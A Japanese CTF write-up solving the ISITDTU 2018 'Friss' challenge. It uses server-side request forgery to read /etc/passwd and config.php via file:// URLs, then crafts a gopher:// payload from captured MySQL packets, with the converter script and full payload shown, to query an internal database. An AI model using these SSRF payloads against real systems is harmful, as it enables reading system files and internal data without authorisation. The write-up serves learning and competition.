ISITDTU CTF 2018 - Friss
問題文

writeup
Stage1
適当なURLを入力しても、Only access to localhostと弾かれる。
ソースを確認すると、末尾に以下のコメント文を発見。
<!-- index.php?debug=1-->
http://35.190.142.60/index.php?debug=1にアクセスするとPHPソースを入手できた。
<?php include_once "config.php"; if (isset($_POST['url'])&&!empty($_POST['url'])) { $url = $_POST['url']; $content_url = getUrlContent($url); } else { $content_url = ""; } if(isset($_GET['debug'])) { show_source(__FILE__); } ?>
getUrlContentの実装はわからない。
config.phpにて実装されているのだろう。
Stage2
いくつか入力を試していると、fileスキーマを指定することでローカルファイルにアクセスできた。
root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/etc/passwd" <!DOCTYPE html> <html lang="en-US"> <head><title>REQUESTS PAGE</title> </head> <body> curl 'file://localhost/etc/passwd' <form action="index.php" method="POST"> <input name="url" type="text"> <input type="submit" value="CURL"> </form> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin (snip) binhhuynhvanquoc:x:1001:1002::/home/binhhuynhvanquoc:/bin/bash mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false </body> (snip) <!-- index.php?debug=1-->
mysqlユーザが存在することがわかる。
次に、includeしているconfig.phpを確認する。
root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/var/www/html/config.php"
<!DOCTYPE html>
<html lang="en-US">
<head><title>REQUESTS PAGE</title>
</head>
<body>
curl 'file://localhost/var/www/html/config.php'
<form action="index.php" method="POST">
<input name="url" type="text">
<input type="submit" value="CURL">
</form>
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{
$dbinit = "create table if not exists flag(secret varchar(100));";
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}
function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
{
var_dump($tmpurl);
die("<h1>Only access to localhost</h1>");
}
return $url;
}
function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>
</body>
(snip)
<!-- index.php?debug=1-->
$dbinit = "create table if not exists flag(secret varchar(100));";より、flagはMySQLのテーブル内にあることがわかる。
また、getUrlContentはcurlコマンドを呼んでいることがわかる。
Stage3
curlコマンドでMySQLに接続する方法は、過去のCTFにて出題があったためwriteupを参照する。
CTFWriteUps/README.md at master · reznok/CTFWriteUps · GitHub
他、以下のサイトを参照した。
SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室
MySQLサーバを立てて、同じDB名、ユーザ名およびテーブル名の環境を用意した上で、DB接続およびSELECT文を発行した際のパケットを採取し、gopherプロトコルの電文に落とし込めば良さそうだ。
1.環境準備
config.phpから得られた情報を元に、DB作成、ユーザ作成、テーブル作成を行う。
root@kali:Friss# mysql -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 10.1.29-MariaDB-6+b1 Debian buildd-unstable
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> create database ssrf; # DB作成
Query OK, 1 row affected (0.00 sec)
MariaDB [(none)]> connect ssrf # DB接続
Connection id: 3
Current database: ssrf
MariaDB [ssrf]> create table if not exists flag(secret varchar(100)); # テーブル作成
Query OK, 0 rows affected (0.03 sec)
MariaDB [ssrf]> insert into flag(secret) values('this is flag'); # サンプルのレコード追加
Query OK, 1 row affected (0.00 sec)
MariaDB [ssrf]> select * from flag; # 確認
+--------------+
| secret |
+--------------+
| this is flag |
+--------------+
1 row in set (0.00 sec)
MariaDB [ssrf]> create user ssrf_user; # ユーザ作成
Query OK, 0 rows affected (0.00 sec)
MariaDB [ssrf]> grant all privileges on flag to 'ssrf_user'; # 権限付与
Query OK, 0 rows affected (0.00 sec)
2.テーブル参照プログラム作成
flagテーブルを参照するphpコードを作る。
<?php $hosts = "127.0.0.1"; $dbusername = "ssrf_user"; $dbpasswd = ""; $dbname = "ssrf"; $dbport = 3306; $conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport); $result = mysqli_query($conn,"select * from flag;"); var_dump($result->fetch_all()); mysqli_close($conn); ?>
試しに実行すると、flagテーブルの内容が参照できた。
root@kali:Friss# php Friss.php
array(1) {
[0]=>
array(1) {
[0]=>
string(12) "this is flag"
}
}
3.パケットキャプチャ
パケットキャプチャをスタートする。
root@kali:Friss# tcpdump -i lo -s 0 -w dump.pcap port 3306 tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
オプションの説明を備忘録として記載する。
- -i lo:ループバックインタフェースも対象にする。
- -s 0:キャプチャしたパケットを途中で切られないようにする。
- -w dump.pcap:dump.pcapにファイル出力する。
- port:MySQLの通信ポートである3306を指定する。
php Friss.phpを実行したあと、Ctrl+Cでキャプチャを停止し、wiresharkでdump.pcapを確認する。

追跡->TCPストリームで送信パケットを確認する。

以下が送信パケット。 1行目が認証パケット、2行目がselect文のパケット、3行目が切断パケットのようだ。
5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64 140000000373656c656374202a2066726f6d20666c61673b 0100000001
4. gopherプロトコルで送信
以下のサイト内のスクリプトを使用して、gopherプロトコルの送信電文に変換する。
SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室
#!/usr/bin/dev python #coding:utf-8 def result(s): a = [s[i:i+2] for i in xrange(0, len(s), 2)] return "curl gopher://127.0.0.1:3306/_%" + "%".join(a) if __name__ == "__main__": import sys s = sys.argv[1] print result(s)
root@kali:Friss# python convGopher.py 5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64140000000373656c656374202a2066726f6d20666c61673b0100000001 curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01
試しに自サーバに対して実行してみる。
root@kali:Friss# curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01 -s | cat
^
5.5.5-10.1.29-MariaDB-6+b10FJ}[/u%S��-?�R%[~*R>}~~"*mysql_native_password.defssrfflagflagsecretsecret
-���"
this is flag�"r
自サーバのflagテーブルのレコードを取得できた!
いよいよ問題サーバに投入する。
せっかくなので画面で入力してみる。

ISITDTU{JUST_4_SSrF_B4B3!!}
フラグゲット!